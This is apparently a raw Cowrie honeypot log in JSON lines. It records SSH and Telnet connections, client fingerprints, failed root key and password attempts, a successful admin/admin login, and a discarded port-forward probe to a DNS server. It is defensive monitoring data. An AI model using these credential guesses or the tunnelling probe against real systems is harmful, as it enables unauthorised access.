s128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:21:43.335482Z","src_ip":"192.250.239.241","session":"e63301d91abb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4e:11:35:eb:74:28:0c:d2:92:8b:5d:22:f8:aa:d9:0a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDDhQNjAWHkWRxAflyCoOPA+lMG0Y0Pb0UrT8gdV2PPIQ1YZsgZ6cRBiC8XC9tIP1E4t61at2yywUvmEwbL6qzp8Dqlyh0iZsyBVtiZwQ+0NqwPj/VKt8EdyAoySEUWBCx6rTOfd2GgXdHIq7Y3VRfF+dAynA3ZcOP7JQvk8ktp6IapFdEUDNDkB9H5HKKl3S2/r5U85WIsmLK/5tqdN/4vmcECBb4yxPFfoFD3YZhoHRLY43LTwknq6IEFZ5xkhcmdNPJ7fp+ng/hGlSr2R6nK03Avo8tKe29RNJemxrZUPpcE3Qvq+aK+13+6f3tO8yy8LzoDH7A9AY6HxkMGSgXF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4e:11:35:eb:74:28:0c:d2:92:8b:5d:22:f8:aa:d9:0a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:21:43.691205Z","src_ip":"192.250.239.241","session":"e63301d91abb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4e:11:35:eb:74:28:0c:d2:92:8b:5d:22:f8:aa:d9:0a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDDhQNjAWHkWRxAflyCoOPA+lMG0Y0Pb0UrT8gdV2PPIQ1YZsgZ6cRBiC8XC9tIP1E4t61at2yywUvmEwbL6qzp8Dqlyh0iZsyBVtiZwQ+0NqwPj/VKt8EdyAoySEUWBCx6rTOfd2GgXdHIq7Y3VRfF+dAynA3ZcOP7JQvk8ktp6IapFdEUDNDkB9H5HKKl3S2/r5U85WIsmLK/5tqdN/4vmcECBb4yxPFfoFD3YZhoHRLY43LTwknq6IEFZ5xkhcmdNPJ7fp+ng/hGlSr2R6nK03Avo8tKe29RNJemxrZUPpcE3Qvq+aK+13+6f3tO8yy8LzoDH7A9AY6HxkMGSgXF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:21:43.694742Z","src_ip":"192.250.239.241","session":"e63301d91abb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d5:49:db:bc:9d:6f:1c:9d:a2:89:09:c0:fd:0c:e1:17","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIARY4f43IchNgs8SlAparuHZ8W7/2MRuKQg0HReJZ3Hc","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint d5:49:db:bc:9d:6f:1c:9d:a2:89:09:c0:fd:0c:e1:17","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:21:43.770303Z","src_ip":"192.250.239.241","session":"e63301d91abb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d5:49:db:bc:9d:6f:1c:9d:a2:89:09:c0:fd:0c:e1:17","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIARY4f43IchNgs8SlAparuHZ8W7/2MRuKQg0HReJZ3Hc","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:21:43.773874Z","src_ip":"192.250.239.241","session":"e63301d91abb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f3:81:bd:ce:32:b2:6e:a3:3f:56:de:3b:2f:44:a6:a0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCckvdNg75IjixcCuGtw7oS/1BJE/Q2jpOoLAOrR8gJT10tGHkbrUjeYe/FlSIzo0wqX6YZQwDhCEJ+t1TYmHbsxqmxxuTUTFICfenPP6dMHE3+Zu7QeM8PL0y5TCtE1aH4I8LQbvgEy131Hfz1ZnG3E5uJvnOfQqsJiEuAKXHy7vZIYu6zE0smujnlq0j844PKc59aLrC0xhymguKpPpnh2hImK/tC/T9/7S/G8kjNgDvEYnlwnYdByf3JU96oXIOrwYTgQtIKrrK61EIukBgFR4U9FuydOxEfeGlIfoPQ1HOsSuLjE5XR67wH0OMRz82vX1RacVUipq+39QFm35KAcrIMbngPtxE/Qr2KYapKu93Av+wmw4HRd0aHzber1AfIAMMpBK66duOqli1qK0MRCcjVn5rUWJuVBSPNHvo/99tKMwsi9JHHhMxY821d7yZOSL6LspvfBD7LVSckFXv+lXfwKq90rxhLxZXzhiF/USM5acU+iW7euldfJ+cI313w4lZfhxu6UNSomw3dmKFaDHzBlw8flgYTuv/+K2uMNNZd8pwWQSpQQbKzLfpZwtIMh4kkW6sAgVZe9nvV8+XOf+wOP4S+FFbWbCzf+qTk2quQ7Mjsm9Khvb+segG336nhM8C1FBwCGM9WAAFkOSIzMEkVeUsqDrako/psUZjMNQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f3:81:bd:ce:32:b2:6e:a3:3f:56:de:3b:2f:44:a6:a0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:21:43.849697Z","src_ip":"192.250.239.241","session":"e63301d91abb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f3:81:bd:ce:32:b2:6e:a3:3f:56:de:3b:2f:44:a6:a0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCckvdNg75IjixcCuGtw7oS/1BJE/Q2jpOoLAOrR8gJT10tGHkbrUjeYe/FlSIzo0wqX6YZQwDhCEJ+t1TYmHbsxqmxxuTUTFICfenPP6dMHE3+Zu7QeM8PL0y5TCtE1aH4I8LQbvgEy131Hfz1ZnG3E5uJvnOfQqsJiEuAKXHy7vZIYu6zE0smujnlq0j844PKc59aLrC0xhymguKpPpnh2hImK/tC/T9/7S/G8kjNgDvEYnlwnYdByf3JU96oXIOrwYTgQtIKrrK61EIukBgFR4U9FuydOxEfeGlIfoPQ1HOsSuLjE5XR67wH0OMRz82vX1RacVUipq+39QFm35KAcrIMbngPtxE/Qr2KYapKu93Av+wmw4HRd0aHzber1AfIAMMpBK66duOqli1qK0MRCcjVn5rUWJuVBSPNHvo/99tKMwsi9JHHhMxY821d7yZOSL6LspvfBD7LVSckFXv+lXfwKq90rxhLxZXzhiF/USM5acU+iW7euldfJ+cI313w4lZfhxu6UNSomw3dmKFaDHzBlw8flgYTuv/+K2uMNNZd8pwWQSpQQbKzLfpZwtIMh4kkW6sAgVZe9nvV8+XOf+wOP4S+FFbWbCzf+qTk2quQ7Mjsm9Khvb+segG336nhM8C1FBwCGM9WAAFkOSIzMEkVeUsqDrako/psUZjMNQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:21:43.853744Z","src_ip":"192.250.239.241","session":"e63301d91abb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"48:e5:08:2d:cb:c2:22:7e:5d:24:18:ca:cc:93:c6:10","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDIYp0XNGOpj++pxAcjCcoKX3ugXQnfwlW/Paj4GLC6pDT2dHdSJs04vFKXQJ5ZxpoiwohWo5ktElbKAT9cegwIUd6wtZ+IcfxoLov6LwrAQpgjG9AzsJ6H9PipCdra4fbdQeCscG7kYnGTdiCG+o8IHpyGgM36fcLL/KBatwyDP79ZKbIe9wUcUTBNeHD+NAj5qBwm3/WviURMXy1xJlNrgPXYHk9Whk9Ei7sHpVedoodi2S3ZtBeKE9Acsxvhbv6ZY3guyVpv4oAs/ZjSBFDYuFrRGRLilMIj2X16aJnzmxLK2xiqVzlFEuaWXkicDZR7+fJxXvJVjzGtBS9zgIIngLyxBrTIFztDkz+JD4GqTyPuGdovYdsJHMS4pCb2qOfxurUtARAWS4T3MpHaBwBn8hBmULG9px6pcb8rihSZqybreRukTGk3bHh+xnlLPsVFu7l8p/+qGB5qCEM2BO8nnM5IKD1ljlr6JNe4YNVwkqDNat/kYST/Ifpj9CQvnl0=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 48:e5:08:2d:cb:c2:22:7e:5d:24:18:ca:cc:93:c6:10","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:21:43.932470Z","src_ip":"192.250.239.241","session":"e63301d91abb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"48:e5:08:2d:cb:c2:22:7e:5d:24:18:ca:cc:93:c6:10","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDIYp0XNGOpj++pxAcjCcoKX3ugXQnfwlW/Paj4GLC6pDT2dHdSJs04vFKXQJ5ZxpoiwohWo5ktElbKAT9cegwIUd6wtZ+IcfxoLov6LwrAQpgjG9AzsJ6H9PipCdra4fbdQeCscG7kYnGTdiCG+o8IHpyGgM36fcLL/KBatwyDP79ZKbIe9wUcUTBNeHD+NAj5qBwm3/WviURMXy1xJlNrgPXYHk9Whk9Ei7sHpVedoodi2S3ZtBeKE9Acsxvhbv6ZY3guyVpv4oAs/ZjSBFDYuFrRGRLilMIj2X16aJnzmxLK2xiqVzlFEuaWXkicDZR7+fJxXvJVjzGtBS9zgIIngLyxBrTIFztDkz+JD4GqTyPuGdovYdsJHMS4pCb2qOfxurUtARAWS4T3MpHaBwBn8hBmULG9px6pcb8rihSZqybreRukTGk3bHh+xnlLPsVFu7l8p/+qGB5qCEM2BO8nnM5IKD1ljlr6JNe4YNVwkqDNat/kYST/Ifpj9CQvnl0=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:21:43.936880Z","src_ip":"192.250.239.241","session":"e63301d91abb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e7:d1:aa:4a:40:8f:44:93:04:52:b2:84:aa:e1:a4:11","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDVIHMc9mdlWTeIaduGItG5nDIKXpcyHYMLoAZdn9WugT9rkkqDB+T8CtUwN0IWilz20xQF2/JMNHj9nqtpv1zl3Uwzi64KuYqKzP5GgnamBrEpbBl6S1ykCjDx5D5Qb3Rc9lJHe7k2e3B8TBSZvq0XopqdCf7VZuGHk5DOVJXbZxf4uFyDCDqH57icH0yRlLYDa24FEhcVlgaEw9X9eEvNLGzOm4Fh7RxOluUxk+AZ+7pQN/bmY6jKLEzcHlP4v7zL5AYmM9ixJ31Kgjbq0tWAvKGmG+B+sAW9LGm5SwFyRv03lT5QYy+Xgik4Wq4m+f2O2UZDEA5xTDOcg2v+0mlVRGOCG9vYGrXBklTCUYyJTVxaqIqB+PGbI9SveXNDDMvHqbXpm/GDggT5Lhbnfu9meHLk4oO2DX5l89CaXocTsHQHXGeCwAdsx7yNP3ZRL1Y+Bnc+6wSoqTj1PuK6ubTf7fufu8kkFaLJgtwJCPjBJo6JUpN1FgT/SM1ZyYhd0IRCQShpsC/v4SDnEHeBeu8f5wmrbH9r3AYBxuKAZftSndZTFwYp7F8j6KGzvVZ7rlVzIpUhna/YiD3oOiLFfzkz2SvG8ji1N6hCqcp8up7Dhf/OCWXpApNXJfaiRIAlrCY4dVRVLmfDfAQkvDBSzL8H933CYeokXYzh2h3bj9TLiQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e7:d1:aa:4a:40:8f:44:93:04:52:b2:84:aa:e1:a4:11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:21:44.012917Z","src_ip":"192.250.239.241","session":"e63301d91abb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e7:d1:aa:4a:40:8f:44:93:04:52:b2:84:aa:e1:a4:11","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDVIHMc9mdlWTeIaduGItG5nDIKXpcyHYMLoAZdn9WugT9rkkqDB+T8CtUwN0IWilz20xQF2/JMNHj9nqtpv1zl3Uwzi64KuYqKzP5GgnamBrEpbBl6S1ykCjDx5D5Qb3Rc9lJHe7k2e3B8TBSZvq0XopqdCf7VZuGHk5DOVJXbZxf4uFyDCDqH57icH0yRlLYDa24FEhcVlgaEw9X9eEvNLGzOm4Fh7RxOluUxk+AZ+7pQN/bmY6jKLEzcHlP4v7zL5AYmM9ixJ31Kgjbq0tWAvKGmG+B+sAW9LGm5SwFyRv03lT5QYy+Xgik4Wq4m+f2O2UZDEA5xTDOcg2v+0mlVRGOCG9vYGrXBklTCUYyJTVxaqIqB+PGbI9SveXNDDMvHqbXpm/GDggT5Lhbnfu9meHLk4oO2DX5l89CaXocTsHQHXGeCwAdsx7yNP3ZRL1Y+Bnc+6wSoqTj1PuK6ubTf7fufu8kkFaLJgtwJCPjBJo6JUpN1FgT/SM1ZyYhd0IRCQShpsC/v4SDnEHeBeu8f5wmrbH9r3AYBxuKAZftSndZTFwYp7F8j6KGzvVZ7rlVzIpUhna/YiD3oOiLFfzkz2SvG8ji1N6hCqcp8up7Dhf/OCWXpApNXJfaiRIAlrCY4dVRVLmfDfAQkvDBSzL8H933CYeokXYzh2h3bj9TLiQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:21:44.016872Z","src_ip":"192.250.239.241","session":"e63301d91abb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:21:44.093669Z","src_ip":"192.250.239.241","session":"e63301d91abb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37924,"dst_ip":"10.17.0.5","dst_port":23,"session":"ada8a3fdd697","protocol":"telnet","message":"New connection: 152.42.224.71:37924 (10.17.0.5:23) [session: ada8a3fdd697]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:21:49.684843Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":59336,"dst_ip":"159.203.135.109","dst_port":22,"session":"d44a5a1824fe","protocol":"ssh","message":"New connection: 103.176.20.57:59336 (159.203.135.109:22) [session: d44a5a1824fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:22:09.422480Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:22:09.427473Z","src_ip":"103.176.20.57","session":"d44a5a1824fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:22:09.679589Z","src_ip":"103.176.20.57","session":"d44a5a1824fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aaaa1111","message":"login attempt [root/aaaa1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:22:10.431047Z","src_ip":"103.176.20.57","session":"d44a5a1824fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:22:11.679654Z","src_ip":"103.176.20.57","session":"d44a5a1824fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":32896,"dst_ip":"159.203.135.109","dst_port":22,"session":"481b011f2643","protocol":"ssh","message":"New connection: 194.59.206.2:32896 (159.203.135.109:22) [session: 481b011f2643]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:22:16.378414Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:22:16.385245Z","src_ip":"194.59.206.2","session":"481b011f2643","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:22:16.473474Z","src_ip":"194.59.206.2","session":"481b011f2643","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:22:16.564123Z","src_ip":"194.59.206.2","session":"481b011f2643","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58040,"dst_ip":"10.17.0.5","dst_port":23,"session":"7dc658348821","protocol":"telnet","message":"New connection: 152.42.224.71:58040 (10.17.0.5:23) [session: 7dc658348821]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:22:24.385442Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60452,"dst_ip":"10.17.0.5","dst_port":23,"session":"7c3565faee51","protocol":"telnet","message":"New connection: 152.42.224.71:60452 (10.17.0.5:23) [session: 7c3565faee51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:22:33.034048Z"}
{"eventid":"cowrie.session.closed","duration":108.6476833820343,"message":"Connection lost after 108 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:22:38.421278Z","src_ip":"152.42.224.71","session":"36e83a3f6db6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":54.07552218437195,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:22:43.760236Z","src_ip":"152.42.224.71","session":"ada8a3fdd697","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":47340,"dst_ip":"10.17.0.5","dst_port":22,"session":"857daf0116aa","protocol":"ssh","message":"New connection: 87.251.64.176:47340 (10.17.0.5:22) [session: 857daf0116aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:22:49.689732Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:22:49.694175Z","src_ip":"87.251.64.176","session":"857daf0116aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:22:49.790779Z","src_ip":"87.251.64.176","session":"857daf0116aa","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:22:50.083146Z","src_ip":"87.251.64.176","session":"857daf0116aa","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:22:50.180907Z","session":"857daf0116aa","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:22:50.279749Z","src_ip":"87.251.64.176","session":"857daf0116aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:22:50.379299Z","src_ip":"87.251.64.176","session":"857daf0116aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":43246,"dst_ip":"10.17.0.5","dst_port":22,"session":"bd1a83798a06","protocol":"ssh","message":"New connection: 147.45.197.250:43246 (10.17.0.5:22) [session: bd1a83798a06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:22:50.764088Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:22:50.768733Z","src_ip":"147.45.197.250","session":"bd1a83798a06","protocol":"ssh"}
